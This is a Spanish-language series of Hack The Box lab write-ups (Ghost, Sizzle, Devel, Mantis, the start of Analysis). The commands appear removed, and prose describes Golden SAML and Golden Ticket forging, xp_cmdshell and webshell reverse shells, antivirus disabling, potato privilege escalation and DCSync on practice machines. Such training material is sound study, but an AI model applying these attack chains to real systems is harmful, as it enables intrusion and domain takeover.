FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1
Lectura de la clave de firma encriptada desde la base de datos: La clave de firma encriptada fue extraída en base64 y tiene el siguiente formato:
Convertiremos el PFX
y la Private Key
en formato binario a través de los siguientes comandos.
Instalaremos la herramienta de ADFSpoof
paa creación del Golden SAML
.
El comando ejecutado utiliza el script ADFSpoof.py
para generar un ticket SAML manipulado, permitiendo la suplantación del usuario administrator
en el dominio GHOST
. Este ataque se realiza mediante la firma de un Golden Ticket.
Se especifica un archivo PFX cifrado (EncryptedPfx.bin
) que contiene la clave privada de la entidad de seguridad, junto con una clave secreta (dkmKey.bin
). El objetivo es el servidor core.ghost.htb
, sobre el cual se apunta el ataque SAML.
El ticket generado contiene el formato transient
para el NameID
, indicando un identificador temporal para el usuario suplantado. Se definen las aserciones SAML que afirman que el usuario GHOST\administrator
tiene privilegios de acceso, permitiendo el acceso al sistema como si fuera ese usuario.
Este ataque, al manipular los datos SAML, da la capacidad de acceder a servicios protegidos sin necesidad de credenciales reales del usuario.
Deberemos de tener añadidocore.ghost.htb
en nuestro archivo /etc/hosts
, esto ya lo realizamos inicialmente en la enumeración de subdominios.
Haremos click derecho y trataremos de visualizar la respuesta en el navegador.
Verificaremos que se nos quedará nuestro navegador cargando en la siguiente página web.
Volvemos al BurpSuite
y de la solicitud interceptada, le daremos a la opción de Forward
.
Al acceder nuevamente a nuestro navegador, comprobamos el acceso al Ghost Config Panel
, el acceso que dispnemos con el SAML. Verificamos que se trata de una página web en la cual nos permite realizar consultas SQL.
Esta consulta intenta obtener el nombre de los servidores vinculados a la base de datos, seleccionando la columna SRVNAME
de la tabla SYSSERVERS
. Es común en SQL Server, y en un contexto de inyección SQL, un atacante podría usarla para obtener información sobre los servidores vinculados y otros detalles de la base de datos.
Este comando intenta ejecutar código como el usuario sa
, que es una cuenta de administrador en el sistema. Se utiliza el EXECUTE AS LOGIN
para cambiar el contexto de ejecución al usuario sa
, y luego se ejecuta un comando que obtiene el nombre de usuario del sistema con SELECT SYSTEM_USER
. Esto puede ser útil para probar si se tienen privilegios elevados o para realizar acciones maliciosas con permisos elevados.
Este comando tiene como objetivo habilitar la opción xp_cmdshell
en SQL Server, lo que permite ejecutar comandos del sistema operativo directamente desde la base de datos. Primero, utiliza EXEC AS LOGIN = 'sa'
para cambiar al contexto del usuario sa
, que es el administrador del sistema. Luego, habilita las opciones avanzadas (sp_configure "show advanced options", 1
) y habilita el uso de xp_cmdshell
(sp_configure "xp_cmdshell", 1
). Finalmente, ejecuta un comando del sistema operativo usando xp_cmdshell
, en este caso, whoami
, para obtener el nombre de usuario bajo el cual se está ejecutando el proceso.
En elresultado obtenido, verificamos que el usuario que ejecuta el comando es NT SERVICE\mssqlserver
.
Dado que podemos ejecutar comandos arbitrarios en el equipo, el siguiente paso será lograr obtener acceso al sistema. Para ello, dispondremos del binario de nc.exe
el cual compartiremos a través de un servidor SMB.
Nos pondremos en escucha con nc
para recibir la Reverse Shell.
Lo primero que debereos realizar, es conectar nuestro servidor SMB al equipo mediante una unidad de red, para ello haremos uso del siguiente comando. Verificaremos que se nos indica un mensaje de The command completed successfully
.
Una vez tengamos nuestro recurso compartido en una unidad de red del equipo, lo que realizaremos es ejecutar el nc.exe
que disponemos en nuestro servidor SMB para otorgarnos una Reverse Shell.
Verificamos que hemos ganado acceso al equipo mediante el usuariomssqlserver
.
Revisando el equipo al cual disponemos acceso, verificamos que nos encontramos en un equipo distinto al del DC.
Revisando los permisos de whoami /priv
que dispone el usuario actual, verificamos que disponemos del privilegio SeImpersonatePrivilege
el cual nos permitiría abusar de él para convertirnos en NT AUTHORITY\SYSTEM
.
En este caso, lo que realizaremos es abusar del privilegio menciondo a través de EfsPotato
.
En el repositorio del binario de EfsPotato
, deberemos de compilar el binario desde el equipo. Para ello, primero revisaremos las versiones de Microsoft.Net
que dispone el equipo víctima.
Nos descargaremos el archivo EfsPotato.cs
del proyecto de GitHub.
Copiaremos este archivo que contiene el código fuente del binario hacia el equipo víctima.
Compilaremos elEfsPotato.cs
y verificaremos que se ha creado el archivo EfsPotato.exe
.
Por otro lado, también nos copiaremos el binario de nc.exe
en la ruta de C:\ProgramData
.
Nos pondremos en escucha con nc
para recibir la Shell como NT AUTHORITY\SYSTEM
.
Ejecutaremos el EfsPotato.exe
para convertirnos en usuario NT AUTHORITY\SYSTEM
y ejecutaremos el nc.exe
para enviarnos una Reverse Shell, este comando lo ejecutará el usuario NT AUTHORITY\SYSTEM
.
Verificamos que hemos ganado acceso al equipo que nos encontrábamos y nos hemos convertido en usuario NT AUTHORITY\SYSTEM
.
Deshabilitaremos el AV (Antivirus) del equipo a través del siguiente comando.
Nos encontramos en el equipo PRIMARY
, que forma parte del dominio CORP.GHOST.HTB
, con privilegios NT AUTHORITY\SYSTEM
. Nuestro objetivo es escalar privilegios dentro del dominio y, para ello, utilizaremos un Golden Ticket Attack
.
Este método nos permitirá generar un ticket Kerberos válido con privilegios administrativos, otorgándonos acceso total en el dominio sin necesidad de credenciales legítimas. A lo largo del proceso, explicaremos cada paso en detalle, desde la obtención de las claves necesarias hasta la generación y uso del ticket.
En este caso, deberemos de disponer del binario de Mimikatz
en nuestro equipo, el cual compartiremos a través de un servidor web.
Desde el equipo de PRIMARY
nos descargaremos el binario de Mimikatz
.
Utilizamos mimikatz
para obtener el hash NTLM
y el aes256_hmac
del usuario krbtgt
, el cual este último necesitaremos para realizar el Golden Ticket Attack.
Obtendremos el Domain SID
del dominio CORP.GHOST.HTB
a través de BloodHound
.
También obtendremos el SID
del grupo Enterprise Admins
del dominio GHOST.HTB
.
También podemos elegir otros grupos de alto privilegios que dispongan del permiso de DCSync
sobre el dominio GHOST.HTB
.
Dado que la red de CORP.GHOST.HTB
no la tenemos accesible desde la VPN de HTB, lo que deberemos de realizar es compartir esta red mediante herramientas como ligolo-ng
.
En nuestra Kali, nos montaremos el servidor Proxy a través del siguiente comando.
Realizaremos las siguiente modificaciones, para habilitar la interfaz de ligolo-ng
en nuestro equipo atacante, y de añadir la ruta correspondiente al ip route
. Por otro lado, sincronizarmos la hora con el dominio.
También deberemos de disponer del agent.exe
de ligolo-ng
el cual compartiremos a través de un servidor web.
Desde el equipo de PRIMARY
nos descargaremos el binario indicado.
Realizaremos la conexión del agente con el servidor de ligolo-ng
.
Verificaremos en el servidor Proxy de ligolo-ng
que se ha detectado una sesión nueva, una vez conectada, ingresaremos el comando start
para iniciar la compartición de la red.
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts
.
En este punto, para realizar el Golden Ticket Attack
deberemos de disponer de los siguientes puntos claves.
Clave aes256_hmac del usuario krbtgt --> esta clave nos servirá para generar el Golden Ticket.
Domain SID --> deberemos de disponer del Domain SID del dominio CORP.GHOST.HTB
.
Extra SID --> deberemos de disponer del sid de un grupo de alto privilegio del dominio GHOST.HTB
.
En este caso, estamos añadiendo el SID del grupo "Enterprise Admins" del dominio GHOST.HTB
, lo que significa que cuando generemos el Golden Ticket en el dominio corp.ghost.htb, también dispondremos de permisos en GHOST.HTB
como si fuéramos miembro de "Enterprise Admins".
Enterprise Admins es un grupo con privilegios altos en toda la estructura de dominios, lo que permite administrar otros dominios dentro del bosque.
Como disponemos una relación de confianza entre corp.ghost.htb y GHOST.HTB
, podemos movernos lateralmente y escalar privilegios en GHOST.HTB
.
Básicamente, con este Golden Ticket, podemosactuar como un Administrador de Dominio en GHOST.HTB
, aunque originalmente solo teníamos acceso en CORP.GHOST.HTB
.
Realizaremos el Golden Ticket
y dispondremos del archivo Administrator.ccache
que utilizaremos para autenticarnos como Administrator
en el dominio GHOST.HTB.
Importaremos el Administrator.ccache
en la variable KRB5CCNAME
y verificaremos que el Ticket Granting Ticket (TGT) del usuario Administrator
es válido.
Una vez dispongamos del TGT del usuario Administrator
, lo que realizaremos es un DCSync Attack
para disponer de todos los hashes NTLM del dominio GHOST.HTB
. Entre los hashes obtenidos, el que nos interesa es el del usuario Administrator
del dominio GHOST.HTB
.
Verificaremos que podemos autenticarnos mediante PassTheHash con el hash NTLM del usuario Administrator
. Una vez verificada la autenticación, nos conectaremos al DC mediante evil-winrm
y verificaremos la flag de root.txt.
En este ataque, nuestro objetivo es escalar privilegios desde el dominio CORP.GHOST.HTB hasta el dominio GHOST.HTB, el cual es considerado el dominio padre en la infraestructura de confianza. Para lograrlo, aprovechamos la relación de confianza entre ambos dominios y empleamos el ataque de SID History Injection. Este ataque nos permite generar un Golden Ticket que incluye privilegios de un grupo de alto nivel en el dominio padre, como Enterprise Admins, lo que nos otorga permisos elevados en GHOST.HTB, incluso si inicialmente solo tenemos acceso a CORP.GHOST.HTB.
A lo largo de esta escalada, veremos cómo extraemos el Domain SID de ambos dominios, generamos el Golden Ticket y finalmente solicitamos un Ticket de Servicio (TGS) para obtener acceso a los recursos del dominio padre. Al final de este proceso, podremos actuar como administradores en GHOST.HTB, obteniendo acceso completo a los sistemas y datos que forman parte de ese dominio.
Desde BloodHound
, verificamos que el dominio CORP.GHOST.HTB
y GHOST.HTB
tienen relación de confianza bidireccional.
Ejecutamos el siguiente comando para extraer la información de confianza entre dominios, obteniendo el Domain SID de CORP.GHOST.HTB
:
Reviaremos desde BloodHound
cual es el SID
del grupo ENTERPRISE ADMINS
del dominio GHOST.HTB
.
Usamos el hash NTLM del usuario krbtgt
de CORP.GHOST.HTB
para generar un TGT que incluya el Enterprise Admins de GHOST.HTB en su SID History. Esto nos permitirá operar con privilegios elevados en el dominio padre.
/rc4: Hash NTLM del usuario krbtgt de CORP.GHOST.HTB
/sid: SID del dominio CORP.GHOST.HTB
Extra SID: Añadimos el SID del grupo Enterprise Admins de GHOST.HTB, lo que nos otorga privilegios elevados en el dominio padre
El siguiente paso será disponer del binario de Rubeus.exe
y compartirlo a través de un servidor web.
Desde el equipo de PRIMARY
nos descargaremos el binario indicado.
Usamos Rubeus para solicitar un TGS con el ticket generado, permitiéndonos autenticarnos en el DC01 de GHOST.HTB:
/ticket: Especificamos el ticket administrator.kirbi generado anteriormente
/ptt: Inyectamos el ticket en la sesión actual
Comprobamos que el ticket se haya inyectado correctamente en la sesión.
Tratamos de verificar el acceso a los recursos compartidos del DC01.GHOST.HTB
pero se nos muestra mensaje de acceso denegado. Esto debido, que este proceso debe ser más rápido.
Por lo tanto, creamos el siguiente script PS1
para realizar los pasos anteriores en bucle hasta conseguir el acceso correspondiente.
Ejecutaremos el script de PowerShell y verificaremos que finalmente ganamos acceso a los recursos compartidos del DC.
Teniendo acceso a los recursos del Domain Controller, podemos visualziar directamente la flag de root.txt.
Pero lo que nos interesa realmente, es convertirnos en el usuario Administrator
en el DC. Por lo tanto, lo que realizaremos es compartir el binario de nc.exe
desde PRIMARY
hasta el DC01
. Verificaremos que se ha copiado el binario correctamente.
Dado que ahora tenemos una sesión con TGS válido como Administrador del dominio GHOST.HTB para acceder al servicio CIFS, podemos ejecutar PsExec para ejecutar comandos en sistemas remotos.
Compartiremos el binario de PsExec64.exe
a través de un servidor web.
Descargaremos el binario correspondiente en el equipo de PRIMARY
.
Desde una terminal nueva, nos pondremos en escucha para recibir la shell.
A través del siguiente comando, ejecutaremos en el DC01
el nc.exe
que hemos copiado para otorngarnos una Reverse Shell hacia nuestro equipo.
Verificamos que ganamos acceso al DC01.GHOST.HTB
con el usuario Administrator
y podemos visualizar correctamente la flag de root.txt.
Sizzle
es un sistema operativo Windows con un entorno de Active Directory que presenta una dificultad increíble. Un directorio en el que se puede escribir en un recurso compartido SMB
permite robar hashes NTLM
que se pueden descifrar para acceder al Portal de servicios de certificados. Se puede crear un certificado autofirmado utilizando la CA
y utilizarlo para PSRemoting
. Un SPN
asociado a un usuario permite un ataque kerberoast en el sistema. Se descubre que el usuario tiene derechos de replicación que se pueden utilizar de forma abusiva para obtener hashes de administrador a través de DCSync
.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Sizzle.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.
Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.
Comprobaremos el nombre del dominio con el cual nos enfrentamos a través del siguiente comando.
Verificaremos también a qué tipo de máquina nos enfrentamos a través de netexec.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Revisaremos las tecnologías que utiliza la aplicación web a través de la herramienta de whatweb.
Por otra parte, procederemos a realizar una enumeración de posibles directorios del sitio web.
Procederemos a revisar si podemos hacer (Directory Listing) sobre los directorios que hemos encontrado. Verificamos que nos aparece mensaje de 403 Forbidden.
Procederemos a enumerar el servicio de FTP a través del usuario anonymous, verificamos que podemos acceder correctamente pero no dispone de ningún directorio/archivo en el servidor FTP.
Revisaremos si el usuario guest se encuentra habilitado y podemos autenticarnos al sevidor SMB. Verificamos que el usuario se encuentra activo y dispone de permisos READ sobre un recurso compartido nombrado (Department Shares).
Verificaremos a través del módulo de (spider_plus) la estructura de los recursos compartidos, para ver si dispone de algún archivo interesante.
En este caso, vemos que hay archivos pero ninguno que nos pueda aportar información relevante.
Uno de los ataques más eficaces en redes SMB es el Hash Stealing utilizando un archivo SCF malicioso. Este tipo de ataque permite interceptar las credenciales NTLMv2 de usuarios conectados a recursos compartidos en un servidor vulnerable.
Antes de proceder a analizar el recurso SMB, lo primero es montar el recurso en nuestro sistema local. Esto nos permitirá explorar los directorios y sus permisos para comprobar si podemos escribir en alguno de ellos.
A través del sguiente comando, procederemos a enumerar todos los directorios para buscar si disponemos de permisos de Escritura sobre alguno de ellos.
Verificamos que hay un recurso llamado "Users/Public" que podríamos probar de realizar el ataque en este recurso.
Una vez montado el recurso SMB, procederemos a crear un archivo SCF malicioso que redirija las acciones realizadas sobre el recurso SMB hacia nuestro sistema. Este archivo malicioso permitirá interceptar las comunicaciones SMB y posteriormente robar los hashes NTLMv2.
Una de las maneras que disponemos de realizar el ataque, es montando un servidor SMB en nuestra Kali para recibir el hash NTLMv2.
Para empezar, subiremos el archivo SCF malicioso en el recurso que podemos escribir (Users/Public) y con el servidor SMB montado, al pasar un tiempo vemos que recibimos el hash NTLMv2 del usuario "amanda".
Otra de las maneras de realizar el ataque sin tener el servidor SMB montado en nuestro equipo atacante, es mediante el Responder, el cual recibirá el hash NTLMv2.
Guardaremos el hash NTLMv2 en un archivo TXT y a través de la herramienta de hashcat, procederemos a intentar crackear el hash para obtener la contraseña en texto plano.
Primero, procederemos a validar si las credenciales obtenidas para el usuario amanda son válidas, y también investigaremos de qué recursos compartidos tenemos permisos.
Al realizar un escaneo de recursos compartidos SMB en la máquina objetivo (10.10.10.103), observamos que tenemos acceso de READ sobre el recurso compartido llamado CertEnroll. Este recurso es utilizado por los servicios de Active Directory para gestionar certificados, donde se almacenan las solicitudes, plantillas y configuraciones asociadas. Aunque tenemos acceso de solo lectura, podemos intentar aprovechar esta entrada para realizar alguna acción.
Con las credenciales amanda / Ashare1972, intentamos conectarnos al WinRM, pero descubrimos que la autenticación NTLM no está funcionando correctamente. A pesar de ingresar las credenciales correctamente, el sistema simplemente nos vuelve a solicitar la autenticación, indicando que probablemente esté configurado para requerir un mecanismo de autenticación más seguro.
Al intentar acceder al servicio WinRM con las credenciales amanda / Ashare1972
, nos encontramos con que la autenticación NTLM no funciona correctamente.
A pesar de ingresar las credenciales correctamente, el sistema simplemente nos vuelve a solicitar la autenticación, como si las credenciales fueran inválidas. Esto ocurre porque el servicio está bloqueado o configurado para requerir un mecanismo de autenticación más seguro.
Dado que la autenticación NTLM está bloqueada, decidimos investigar el recurso compartido CertEnroll para buscar un servicio alternativo que permita la autenticación. Al explorar el sitio web asociado, encontramos el directorio /certsrv/, que pertenece al servicio de Active Directory Certificate Services (AD CS).
Verirficamos que logramos ingresar a la página de Microsoft Active Directory Certificate Services (AD CS).
En la página, observamos que se nos permite solicitar un certificado, eligiendo entre User Certificate o Advanced certificate request. Debemos seleccionar la opción de Advanced certificate request.
Procedemos a generar un Certificate Signing Request (CSR) con OpenSSL. Este CSR contiene información que enviaremos al servidor para obtener un certificado válido.
Volvemos al sitio /certsrv/ y pegamos el contenido del CSR en el formulario de solicitud.
El servidor nos ofrece el certificado en formato Base64. Seleccionamos la opción de Download certificate para descargar el certificado correspondiente al usuario amanda.
Revisaremos que disponemos de los archivos CSR, KEY y CER de los certificados que hemos generado.
Ahora, con el certificado descargado, procedemos a autenticar al usuario amanda utilizando WinRM. Reemplazamos las credenciales tradicionales con el certificado, lo que nos permite acceder correctamente al equipo:
Dado que disponemos de credenciales válidas de un usuario del dominio, procederemos a realizar una enumeración a través de BloodHound en buscar de vectores para elevar nuestros privilegios.
Al enumerar en BloodHound, verificamos que hay un usuario que es Kerberoastable, por lo tanto, es susceptible a realizar un Kerberoasting Attack.
Dado que hemos visto que existe un usuario susceptible al Kerberoasting Attack, procederemos a intentar a realizar el ataque a través de la herramienta GetUserSPNs, verificamos que no nos reporta ningún resultado.
Esto es debido seguramente a que el Kerberos no se encuentra expuesto, deberemos de buscar otra manera de explotar este ataque.
Dado que disponemos de acceso a la máquina víctima (Domain Controller), podemos de probar de realizar el Kerberoasting Attack a través de la herramienta de Rubeus.exe.
Procederemos a intentar subir el binairo del Rubeus.exe y en nuestro caso no nos permite la subida directamente con el comando "upload" que nos poporciona evil-winrm.
Probaremos de levantar un servidor web con Python y a descargar el archivo a través de IWR, verificamos que el binario se ha descargado correctamente en el equipo víctima.
Al intentar ejecutar el binario en la ruta (C:\Temp), nos aparece un eror indicando que se ha bloqueado la ejecución debido a una política, muy probablemente debido al AppLocker.
A través del siguiente comando, revisaremos la política del AppLocker y verificamos que hay una excepción en los directorios que se encuentran dentro de (WinDir).
En nuestro caso, hemos optado por crear un directorio en (C:\Windows\Temp), moveremos el binario a este nuevo directorio creado.
Una vez obtenido el binario en este nuevo directorio, al realizar el ataque, verificamos que hemos conseguido el TGS (Ticket Granting Service) del usuario (mrlky@htb.local).
A continuación, veremos otra de las maneras efectivas de explotar este ataque mediante Port-Forwarding.
Dado que el puerto 88 (Kerberos) no se encuentra expuesto en el equipo víctima y con la herramienta de impacket-GetUserSPNs al principio no pudimos efectuar el ataque, el objetivo será realizar el Port-Forwarding del puerto 88 (Kerberos) y 389 (LDAP) del Domain Controller para que se encuentren accesibles desde nuestro equipo local de atacante.
Para ello, pasaremos el binario del chisel.exe al equipo víctima, configuraremos el chisel en sevidor en la máquina Kali y cliente en el equipo Windows, haremos que el Kerberos y LDAP sean accesibles por los mismos puertos pero desde nuestro equipo de atacante.
Revisaremos que en nuestro equipo, los puertos 88 (Kerberos) y 389 (LDAP) se encuentran accesibles correctamente a través de chisel.
Pocederemos de realizar nuevamente el ataque mediante la herramienta de impacket-GetUserSPNs al localhost (127.0.0.1) y verificamos que ahora si hemos podido realizar el ataque desde la máquina Kali y hemos obtenido el TGS (Ticket Granting Service).
Al obtener el TGS; pocederemos a crackearlo con hashcat y verificamos que hemos logrado obtener la contraseña en texto plano del usuario mrlky@htb.local.
Validaremos que las credenciales de este usuario son válidas y de los recursos que tiene acceso dicho usuario.
Revisando nuevamente en BloodHound, verificamos que este nuevo usuario dispone de permisos de DCSync sobre el dominio.
Este permiso habilita al usuario a extraer los hashes NTLM de todos los usuarios del dominio, lo que facilita ataques como Pass-The-Hash, permitiendo el acceso a servicios y equipos sin necesidad de conocer las credenciales en texto plano de los usuarios del dominio, incluyendo a los usuarios que sean Domain Admins.
Procederemos a realizar el ataque de DCSync Attack mediante la herramienta de secretsdump.
Verificamos que hemos logrado obtener todos los hashes NTLM de los usuarios del dominio, incluyendo las del usuario Administrator.
Validaremos que podemos autenticarnos mediante Pass-The-Hash con el hash NTLM del usuario Administrator.
Procederemos a conectarnos al Domain Controller mediante la herramienta de wmiexec realizando Pass-The-Hash.
Verificamos del acceso correctamente y de la flag de root.txt.
Devel,
aunque es relativamente simple, demuestra los riesgos de seguridad asociados con algunas configuraciones de programas predeterminadas. Es una máquina de nivel principiante que se puede completar utilizando exploits disponibles públicamente.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Devel
. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado del escaneo con los scripts de Nmap, verificamos que el acceso al FTP
a través del usuario anonymous
se encuentra habilitado y hemos podido realizar una enumeración de los archivos y directorios presentes.
Por otro lado, también comprobamos que se encuentra un servidor de IIS
expuesto por el puerto 80
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Comprobaremos las cabeceras de la página web para verificar si podemos obtener algún tipo de información interesante, solamente logramos obtener la versión del IIS
. Por otro lado, comprobamos a través de la herramienta whatweb
las tecnologías que se utilizan en la aplicación web.
Realizaremos una enumeración de páginas web y directorios para verificar la existencia de posibles directorios, etc. En el resultado obtenido, solamente nos llama la atención el directorio aspnet_client
.
A través de la herramienta de NetExec
realizaremos una comprobación del acceso a través del usuario anonymous
al servicio de FTP
.
Listaremos el contenido del servidor FTP
, en el resultado obtenido comprobamos la existencia de una imagen, una página HTM
y un directorio aspnet_client
.
Realizaremos una comprobación de los directorios que vayamos encontrando, pero en este caso, no logramos obtener resultado ninguno.
Nos descargaremos el archivo iistart.htm
que nos encontramos para comprobar si en el código fuente de la página existía algún tipo de información interesante.
Dado que hemos comprobado que al parecer el servidor FTP
se encuentra montado en la ruta donde se encuentra el IIS
levantado, lo que probaremos es de intentar subir una webshell de ASPX
para poder ejecutar comandos arbitrarios en el sistema objetivo.
Subiremos nuestra webshell
llamada cmd.aspx
al servidor FTP
.
Verificaremos que finalmente se ha subido correctamente, con lo cual confirmamos que tenemos capacidad de subir archivos desde nuestro sistema.
Ahora que tenemos capacidad de lograr ejecutar comandos arbitrarios en el sistema, el siguiente paso será lograr obtener acceso al equipo. Por lo tanto, nos pondremos en escucha con nc
para recibir la Reverse Shell.
En nuestro equipo local, deberemos de disponer del binario de nc.exe
en el cual compartiremos a través de un servidor SMB
.
Ejecutaremos el siguiente comando para ejecutar el nc.exe
que estamos compartiendo a través de nuestro recurso compartido y le indicaremos que nos proporcione una consola CMD
a nuestro equipo atacante.
Verificamos que finalmente hemos logrado acceso al sistema y nos encontramos con el usuario iis apppool\web
.
Una de las maneras de poder lograr disponer acceso como usuario Administrator
es mediante la información del sistema. Para ello, a través del comando systeminfo
logramos obtener la siguiente información del sistema, en la cual comprobamos que se trata de un Windows 7 Enterprise
.
Nos copiaremos el contenido del systeminfo
en nuestro equipo local en un archivo llamado systeminfo.txt
.
A través de la herramienta de windows-exploit-suggester
, buscaremos alguna vía potencial para escalar nuestros privilegios en base al systeminfo
que le hemos indicado.
En el resultado obtenido, verificamos diferentes vulnerabilidades que se pueden realizar en el sistema.
Después de revisar posibles vulnerabilidades que se nos han reportado, decidimos en optar en verificar si podíamos llegar a explotar la vulnerabilidad MS10-059
reportada como CVE-2020-2554
.
El Tracing Feature for Services en Microsoft Windows Vista SP1 y SP2, Windows Server 2008 Gold, SP2, y R2, y Windows 7 tiene un ACLs incorrecto en su llave de registro, lo que permite a usuarios locales obtener privilegios a través de vectores que relacionan una tubería (pipe) y suplantación, conocido como "Vulnerabilidad de traza de llave de registro de ACL"
En el siguiente repositorio de GitHub, se nos proporcionan distintos exploits entre los cuales disponemos del MS10-059
. El binario de MS10-059.exe
(Chimichurri.exe
) el cual compartiremos a través de un servidor SMB
que nos montaremos en nuestro equipo.
Desde el equipo víctima, copiaremos el binario en un directorio que dispongamos permisos de ejecución, como en este caso, el directorio C:\ProgramData
.
Ejecutaremos el binario de MS10-059.exe
y comprobaremos el funcionamiento correcto de la aplicación. Al parecer, al ejecutar el binario e indicarle nuestra dirección IP y puerto, deberemos de recibir una Reverse Shell con permisos de Administrator
.
Nos pondremos en escucha con nc
para recibir la Reverse Shell.
Ejecutaremos nuevamente el binario indicándole nuestra dirección y puerto donde nos encontramos en escucha.
Verificamos que finalmente hemos podido ganar acceso al sistema como usuario NT AUTHORITY\SYSTEM
y podemos visualizar las flags user.txt y root.txt.
Mantis
puede ser sin duda una de las máquinas más desafiantes para algunos usuarios. Para explotarla con éxito, se requiere un poco de conocimiento o investigación sobre servidores Windows y el sistema de controlador de dominio.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Mantis.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.
Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.
Comprobaremos el nombre del dominio que nos enfrentamos, el nombre del equipo y que tipo de máquina nos enfrentamos.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Procederemos a dejar en segundo plano la siguiente enumeración a través de Kerberos mediante fuerza bruta utilizando la herramienta de Kerbrute.
Revisando la existencia de diversos puertos, nos fijaremos en los siguientes puertos para realizar una enumeración de posibles directorios o subdirectorios en posibles páginas web de los siguientes puertos.
Procederemos a enumerar directorios a través de gobuster del puerto 1337 y nos encontramos que hay un directorio llamado "secure_notes".
Revisando el contenido del archivo (.txt) aparece un mensaje indicando que unos pasos donde se informa de crear un usuario llamado "admin" para la BBDD llamada "orchardb".
Revisando el nombre del archivo .txt nos fijamos en que parece una cadena codificada en Base64.
Probando de descodificar el posible contenido de Base64, nos damos cuenta que el resultado que nos muestra parece una codificación en Hexadecimal. Descodificamos en Hexacedcimal y verificamos el contenido del mensaje en texto plano, al parecer se trata de una contraseña, muy probablemente la del usuario de la BBDD.
Procederemos a intentar conectarnos mediante la herramienta de mssqlclient.py y comprobamos que efectivamente ganamos acceso con el usuario "admin" y las credenciales encontradas.
En este caso, no realizaremos la enumeración de la base de datos a través de línea de comandos. En esta ocasión procederemos a hacer el uso de la herramienta de Dbeaver que permite conectarse a cualquier tipo de base de datos y poder realizar una enumeración con un entorno gráfico.
Abriremos la aplicación de Dbeaver, seleccionaremos el tipo de BBDD al cual queremos conectarnos, en este caso, escogemos el Microsoft SQL Server.
Especificaremos el usuario "admin" y las credenciales encontradas y la dirección IP del Host (10.10.10.52).
Revisando las tablas de la base de datos nombrada "orchardb", nos encontramos una tabla llamada "blog_Orchard_Users_UserPartRecord". Probaremos de acceder a ella para ver el contenido de la misma.
Revisando el contenido de la tabla, nos damos cuenta que aparece la contraseña en texto plano de un usuario que al parecer es del dominio. Si bien recordamos, este usuario (james@htb.local) lo validamos anteriormente con Kerbrute, por lo tanto sabemos que es un usuario válido del dominio.
Procederemos a validar si la contraseña es válida para el usuario (james@htb.local). Efectivamente comprobamos que si son credenciales válidas.
Ya que disponemos de credenciales válidas, procederemos a intentar enumerar el SMB en busca de recursos compartidos que nos puedan aportar información interesante.
En este caso, los recursos enumerados no nos sirven para nada.
Comprobamos que hemos podido enumerar toda la lista de usuarios del dominio, nos guardaremos los usuarios en un archivo "users.txt".
Dado que disponemos de los usuarios válidos del dominio, procederemos a realizar un AS-REP Roast Attack para solicitar un TGT (Ticket Granting Ticket) para aquellos usuarios que dispongan del (DONT_REQ_PREAUTH) de Kerberos y así obtener su hash y posteriormente crackearlo de manera offline.
En este caso, no encontramos ningún usuario que cumpla el requisito.
Debido que disponemos de credenciales de un usuario válido del dominio, nos plantearemos en realizar un Kerberoasting Attack para solicitar un TGS (Ticket Granting Service) para obtener un hash y posteriormente crackearlo.
En este caso, tampoco obtenemos ningún resultado.
Realizaremos una enumeración con BloodHound a través de bloodhound-python.
Revisando en el BloodHound en busca de vectores para elevar nuestros privilegios, nos damos cuenta que el usuario que disponemos (james@htb.local) dispone de permisos de CanRDP sobre el Domain Controller.
Pero si recordamos en la enumeración de puertos abiertos a través de Nmap, no se encontraban expuestos los puertos del RDP (3389) ni el del WinRM (5985), por lo tanto no nos podemos conectar remotamente.
La vulnerabilidad MS14-068 permite a un atacante manipular el token de inicio de sesión Kerberos de un usuario legítimo para reclamar falsamente privilegios elevados, como ser un Administrador de Dominio. Esta reclamación falsa es validada erróneamente por el Controlador de Dominio, lo que permite el acceso no autorizado a los recursos de la red en todo el bosque de Active Directory.
En este caso, para explotar la vulnerabilidad, deberemos de añadir la entrada correspondiente al nombre del DC en el archivo /etc/hosts para asegurar una correcta resolución DNS.
Realizando el ataque a través de impacket-goldenPac utilizando la dirección IP del DC comprovamos que nos devuelve error, en cambio a través del nombre DNS del dc logramos explotar la vulnerabilidad y conseguir el acceso como NT AUTHORITY\SYSTEM.
Esto debido a que Kerberos depende de nombres DNS para validar correctamente los tickets emitidos. Al usar la IP, la autenticación falla porque no coincide con el nombre esperado en el servicio Kerberos.
Una vez teniendo acceso al DC con los máximos privilegios, verificamos la flag de user.txt y la de root.txt.
Analysis
es una máquina Windows de dificultad difícil, que presenta varias vulnerabilidades, enfocadas en aplicaciones web, privilegios de Active Directory (AD) y manipulación de procesos. Inicialmente, una vulnerabilidad de Inyección LDAP nos proporciona credenciales para autenticarnos en una aplicación web protegida. A través de esta aplicación, se obtiene acceso al sistema local obteniendo la ejecución de comandos a través de una carga de archivo HTA
.
En el sistema objetivo, las credenciales de otro usuario se encuentran en los archivos de registro de la aplicación web. Posteriormente, al implementar un API Hook
sobre BCTextEncoder
, se descifra una contraseña cifrada y se usa para pivotar a otro usuario. Finalmente, al cambiar la contraseña de una cuenta que tiene derechos DCSync
contra el dominio, se obtiene acceso administrativo al controlador de dominio.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Analysis.
